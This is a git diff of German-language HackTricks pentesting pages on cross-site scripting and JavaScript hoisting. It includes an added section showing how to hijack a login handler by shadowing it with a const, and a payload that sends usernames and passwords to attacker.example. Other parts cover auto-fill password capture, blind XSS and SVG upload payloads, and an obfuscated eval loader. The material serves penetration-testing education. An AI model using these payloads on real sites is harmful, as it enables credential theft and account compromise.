": " + (performance.now() -this.start) + " ms") }; } ``` -_Kurze Zeiten deuten auf einen antwortenden Port hin_ _Längere Zeiten deuten auf keine Antwort hin._ +_Kurze Zeiten weisen auf einen antwortenden Port hin_ _Längere Zeiten deuten auf keine Antwort hin._ -Überprüfen Sie die Liste der in Chrome [**hier**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) und in Firefox [**hier**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist) gesperrten Ports. +Überprüfe die Liste der in Chrome gesperrten Ports [**hier**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) und in Firefox [**hier**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist). -### Box zur Abfrage von Anmeldeinformationen +### Box zum Abfragen von Zugangsdaten ```html ``` -### Auto-fill Passworterfassung +### Erfassen von Auto-Fill-Passwörtern ```javascript Username:
@@ -1386,18 +1422,33 @@ mode: 'no-cors', body:username.value+':'+this.value });"> ``` -Wenn Daten im Passwortfeld eingegeben werden, werden der Benutzername und das Passwort an den Server des Angreifers gesendet, selbst wenn der Client ein gespeichertes Passwort auswählt und nichts eingibt, werden die Anmeldeinformationen exfiltriert. +Wenn im Passwortfeld irgendwelche Daten eingegeben werden, werden Benutzername und Passwort an den Server des Angreifers gesendet; selbst wenn der Client ein gespeichertes Passwort auswählt und nichts eingibt, werden die Anmeldedaten ex-filtrated. + +### Hijack form handlers to exfiltrate credentials (const shadowing) + +Wenn ein kritischer Handler (z. B. `function DoLogin(){...}`) später auf der Seite deklariert wird, und dein payload früher ausgeführt wird (z. B. via einem inline JS-in-JS sink), definiere zuerst ein `const` mit demselben Namen, um den Handler vorzuverlegen und zu sperren. Spätere Funktionsdeklarationen können einen `const`-Namen nicht neu binden, wodurch dein hook die Kontrolle behält: +```javascript +const DoLogin = () => { +const pwd = Trim(FormInput.InputPassword.value); +const user = Trim(FormInput.InputUtente.value); +fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd)); +}; +``` +Hinweise +- Das beruht auf der Ausführungsreihenfolge: deine injection muss vor der legitimen Deklaration ausgeführt werden. +- Wenn dein Payload in `eval(...)` eingeschlossen ist, werden `const/let`-Bindings nicht zu globalen Variablen. Verwende die dynamische ` ``` -### Stehlen von PostMessage-Nachrichten +### PostMessage-Nachrichten stehlen ```html ``` -### Missbrauch von Service Workern +### Missbrauch von Service Workers {{#ref}} @@ -1441,9 +1492,9 @@ shadow-dom.md https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt {{#endref}} -### Blinde XSS-Payloads +### Blind XSS payloads -Sie können auch verwenden: [https://xsshunter.com/](https://xsshunter.com) +Sie können auch nutzen: [https://xsshunter.com/](https://xsshunter.com) ```html "> "> @@ -1510,7 +1561,7 @@ javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4Ln ``` ### Regex - Zugriff auf versteckte Inhalte -Aus [**diesem Bericht**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) ist es möglich zu lernen, dass selbst wenn einige Werte aus JS verschwinden, es immer noch möglich ist, sie in JS-Attributen in verschiedenen Objekten zu finden. Zum Beispiel ist es möglich, einen Eingabewert eines REGEX zu finden, nachdem der Wert der Eingabe des REGEX entfernt wurde: +Aus [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) lässt sich lernen, dass selbst wenn einige Werte im JS verschwinden, sie weiterhin in JS-Attributen in verschiedenen Objekten gefunden werden können. Zum Beispiel ist eine Eingabe eines REGEX noch auffindbar, nachdem der Wert der Regex-Eingabe entfernt wurde: ```javascript // Do regex with flag flag = "CTF{FLAG}" @@ -1538,32 +1589,34 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt ### XSS in Markdown -Kann Markdown-Code injiziert werden, der gerendert wird? Vielleicht kannst du XSS bekommen! Überprüfe: +Kannst du Markdown-Code injizieren, der gerendert wird? Vielleicht kannst du dadurch XSS erreichen! Siehe: {{#ref}} xss-in-markdown.md {{#endref}} -### XSS zu SSRF +### XSS to SSRF -Hast du XSS auf einer **Seite, die Caching verwendet**? Versuche, **das auf SSRF zu aktualisieren** durch Edge Side Include Injection mit diesem Payload: +Hast du XSS auf einer **Site, die Caching verwendet**? Versuche, das **in SSRF umzuwandeln** mittels Edge Side Include Injection mit diesem payload: ```python ``` -Verwenden Sie es, um Cookie-Einschränkungen, XSS-Filter und vieles mehr zu umgehen!\ -Weitere Informationen zu dieser Technik finden Sie hier: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md). +Use it to bypass Cookie-Einschränkungen, XSS-Filter und vieles mehr!\ +More information about this technique here: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md). -### XSS in dynamisch erstellten PDFs +### XSS in dynamisch erstelltem PDF + +Wenn eine Webseite ein PDF mit vom Benutzer kontrollierten Eingaben erstellt, kannst du versuchen, **den Bot zu täuschen**, der das PDF erstellt, damit er **beliebigen JS-Code ausführt**.\ +Also: wenn der **PDF creator bot finds** irgendeine Art von **HTML** **tags** findet, wird er diese **interpretieren**, und du kannst dieses Verhalten **ausnutzen**, um eine **Server XSS** zu verursachen. -Wenn eine Webseite ein PDF mit benutzergesteuerten Eingaben erstellt, können Sie versuchen, den **Bot**, der das PDF erstellt, dazu zu **bringen, beliebigen JS-Code auszuführen**.\ -Wenn der **PDF-Erstellungsbot** eine Art von **HTML** **Tags** findet, wird er diese **interpretieren**, und Sie können dieses Verhalten **ausnutzen**, um ein **Server XSS** zu verursachen. {{#ref}} server-side-xss-dynamic-pdf.md {{#endref}} -Wenn Sie keine HTML-Tags injizieren können, könnte es sich lohnen, zu versuchen, **PDF-Daten** zu **injizieren**: +Wenn du keine HTML-Tags injizieren kannst, kann es sich lohnen, zu versuchen, **PDF-Daten zu injizieren**: + {{#ref}} pdf-injection.md @@ -1571,15 +1624,15 @@ pdf-injection.md ### XSS in Amp4Email -AMP, das darauf abzielt, die Leistung von Webseiten auf mobilen Geräten zu beschleunigen, integriert HTML-Tags, die durch JavaScript ergänzt werden, um die Funktionalität mit einem Schwerpunkt auf Geschwindigkeit und Sicherheit zu gewährleisten. Es unterstützt eine Reihe von Komponenten für verschiedene Funktionen, die über [AMP-Komponenten](https://amp.dev/documentation/components/?format=websites) zugänglich sind. +AMP, das darauf abzielt, die Performance von Webseiten auf mobilen Geräten zu beschleunigen, verwendet HTML-Tags, ergänzt durch JavaScript, um Funktionalität mit Schwerpunkt auf Geschwindigkeit und Sicherheit zu gewährleisten. Es unterstützt eine Reihe von Komponenten für verschiedene Funktionen, zugänglich über [AMP components](https://amp.dev/documentation/components/?format=websites). -Das [**AMP für E-Mail**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) Format erweitert bestimmte AMP-Komponenten auf E-Mails, sodass die Empfänger direkt innerhalb ihrer E-Mails mit Inhalten interagieren können. +Das [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) Format erweitert bestimmte AMP-Komponenten auf E-Mails und ermöglicht Empfängern, direkt innerhalb ihrer E-Mails mit dem Inhalt zu interagieren. -Beispiel [**Writeup XSS in Amp4Email in Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email). +Beispiel [**writeup XSS in Amp4Email in Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email). ### XSS beim Hochladen von Dateien (svg) -Laden Sie eine Datei wie die folgende als Bild hoch (von [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)): +Lade als Bild eine Datei wie die folgende hoch (von [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)): ```html Content-Type: multipart/form-data; boundary=---------------------------232181429808 Content-Length: 574 @@ -1635,9 +1688,9 @@ id="foo"/> ```xml ``` -Finde **weitere SVG-Payloads in** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) +Finde **mehr SVG payloads in** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) -## Verschiedene JS-Tricks & relevante Informationen +## Sonstige JS-Tricks & Relevante Infos {{#ref}} @@ -1653,4 +1706,9 @@ other-js-tricks.md - [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html) - [https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide](https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide) +## Referenzen + +- [From "Low-Impact" RXSS to Credential Stealer: A JS-in-JS Walkthrough](https://r3verii.github.io/bugbounty/2025/08/25/rxss-credential-stealer.html) +- [MDN eval()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/xss-cross-site-scripting/js-hoisting.md b/src/pentesting-web/xss-cross-site-scripting/js-hoisting.md index 17f0b1c81..bda1fe646 100644 --- a/src/pentesting-web/xss-cross-site-scripting/js-hoisting.md +++ b/src/pentesting-web/xss-cross-site-scripting/js-hoisting.md @@ -2,31 +2,31 @@ {{#include ../../banners/hacktricks-training.md}} -## Grundinformationen +## Grundlegende Informationen -In der Programmiersprache JavaScript wird ein Mechanismus beschrieben, der als **Hoisting** bekannt ist, bei dem Deklarationen von Variablen, Funktionen, Klassen oder Imports konzeptionell an den Anfang ihres Geltungsbereichs verschoben werden, bevor der Code ausgeführt wird. Dieser Prozess wird automatisch von der JavaScript-Engine durchgeführt, die das Skript in mehreren Durchgängen durchläuft. +In der JavaScript-Sprache gibt es einen Mechanismus, der als **Hoisting** bezeichnet wird, bei dem Deklarationen von Variablen, Funktionen, Klassen oder Imports gedanklich an den Anfang ihres Scopes verschoben werden, bevor der Code ausgeführt wird. Dieser Prozess wird automatisch von der JavaScript-Engine durchgeführt, die das Script in mehreren Durchläufen verarbeitet. -Während des ersten Durchgangs analysiert die Engine den Code, um nach Syntaxfehlern zu suchen, und verwandelt ihn in einen abstrakten Syntaxbaum. Diese Phase umfasst das Hoisting, einen Prozess, bei dem bestimmte Deklarationen an den Anfang des Ausführungskontexts verschoben werden. Wenn die Analysephase erfolgreich ist und keine Syntaxfehler vorliegen, wird die Skriptausführung fortgesetzt. +Während des ersten Durchlaufs parst die Engine den Code, prüft auf Syntaxfehler und wandelt ihn in einen abstract syntax tree um. Diese Phase beinhaltet Hoisting, also das Verschieben bestimmter Deklarationen an den Anfang des Ausführungskontexts. Wenn die Parsing-Phase erfolgreich ist und keine Syntaxfehler aufgetreten sind, wird das Script ausgeführt. -Es ist entscheidend zu verstehen, dass: +Wichtig zu verstehen ist: -1. Das Skript muss frei von Syntaxfehlern sein, damit die Ausführung stattfinden kann. Syntaxregeln müssen strikt eingehalten werden. -2. Die Platzierung des Codes innerhalb des Skripts beeinflusst die Ausführung aufgrund des Hoistings, obwohl der ausgeführte Code von seiner textuellen Darstellung abweichen kann. +1. Das Script muss frei von Syntaxfehlern sein, damit eine Ausführung stattfinden kann. Syntaxregeln müssen strikt eingehalten werden. +2. Die Platzierung von Code innerhalb des Scripts beeinflusst die Ausführung aufgrund von Hoisting, obwohl der ausgeführte Code von seiner textuellen Darstellung abweichen kann. #### Arten von Hoisting -Basierend auf den Informationen von MDN gibt es vier verschiedene Arten von Hoisting in JavaScript: +Basierend auf Informationen von MDN gibt es in JavaScript vier verschiedene Arten von Hoisting: -1. **Value Hoisting**: Ermöglicht die Verwendung des Wertes einer Variablen innerhalb ihres Geltungsbereichs vor ihrer Deklarationszeile. -2. **Declaration Hoisting**: Erlaubt das Referenzieren einer Variablen innerhalb ihres Geltungsbereichs vor ihrer Deklaration, ohne einen `ReferenceError` auszulösen, aber der Wert der Variablen wird `undefined` sein. -3. Diese Art verändert das Verhalten innerhalb ihres Geltungsbereichs aufgrund der Deklaration der Variablen vor ihrer tatsächlichen Deklarationszeile. -4. Die Nebeneffekte der Deklaration treten auf, bevor der Rest des Codes, der sie enthält, ausgewertet wird. +1. **Value Hoisting**: Erlaubt die Verwendung des Werts einer Variablen innerhalb ihres Scopes vor der Zeile, in der sie deklariert wird. +2. **Declaration Hoisting**: Ermöglicht, innerhalb eines Scopes auf eine Variable zu verweisen, bevor sie deklariert wurde, ohne dass ein `ReferenceError` geworfen wird — der Wert der Variablen ist dann jedoch `undefined`. +3. Diese Art verändert das Verhalten innerhalb ihres Scopes, weil die Variable vor ihrer eigentlichen Deklarationszeile deklariert wird. +4. Die Seiteneffekte der Deklaration treten auf, bevor der restliche Code, der sie enthält, evaluiert wird. -Im Detail zeigen Funktionsdeklarationen das Verhalten des Typs 1 Hoisting. Das `var`-Schlüsselwort demonstriert das Verhalten des Typs 2. Lexikalische Deklarationen, die `let`, `const` und `class` umfassen, zeigen das Verhalten des Typs 3. Schließlich sind `import`-Anweisungen einzigartig, da sie sowohl mit dem Verhalten des Typs 1 als auch des Typs 4 gehostet werden. +Im Detail zeigen Funktionsdeklarationen das Verhalten von Typ 1 Hoisting. Das Schlüsselwort `var` demonstriert Verhalten vom Typ 2. Lexikalische Deklarationen, zu denen `let`, `const` und `class` gehören, zeigen Verhalten vom Typ 3. Schließlich sind `import`-Anweisungen insofern einzigartig, als sie sowohl Typ-1- als auch Typ-4-Verhalten beim Hoisting aufweisen. ## Szenarien -Daher, wenn Sie Szenarien haben, in denen Sie **JS-Code nach der Verwendung eines nicht deklarierten Objekts** **einschleusen** können, könnten Sie **die Syntax beheben**, indem Sie es deklarieren (damit Ihr Code ausgeführt wird, anstatt einen Fehler auszulösen): +Daher, wenn du Szenarien hast, in denen du **Inject JS code after an undeclared object** ausführen kannst, könntest du die Syntax beheben, indem du es deklarierst (sodass dein Code ausgeführt wird, anstatt einen Fehler zu erzeugen): ```javascript // The function vulnerableFunction is not defined vulnerableFunction('test', ''); @@ -127,11 +127,31 @@ alert(1) - }, }) } +trigger() ``` -## Referenzen +### Verhindere spätere Deklarationen, indem du einen Namen mit const sperrst + +Wenn du Code ausführen kannst, bevor eine top-level `function foo(){...}` geparst wird, verhindert die Deklaration einer lexikalischen Bindung mit demselben Namen (z. B. `const foo = ...`), dass die spätere Funktionsdeklaration diesen Bezeichner neu bindet. Dies lässt sich in RXSS ausnutzen, um kritische Handler, die später auf der Seite definiert werden, zu kapern: +```javascript +// Malicious code runs first (e.g., earlier inline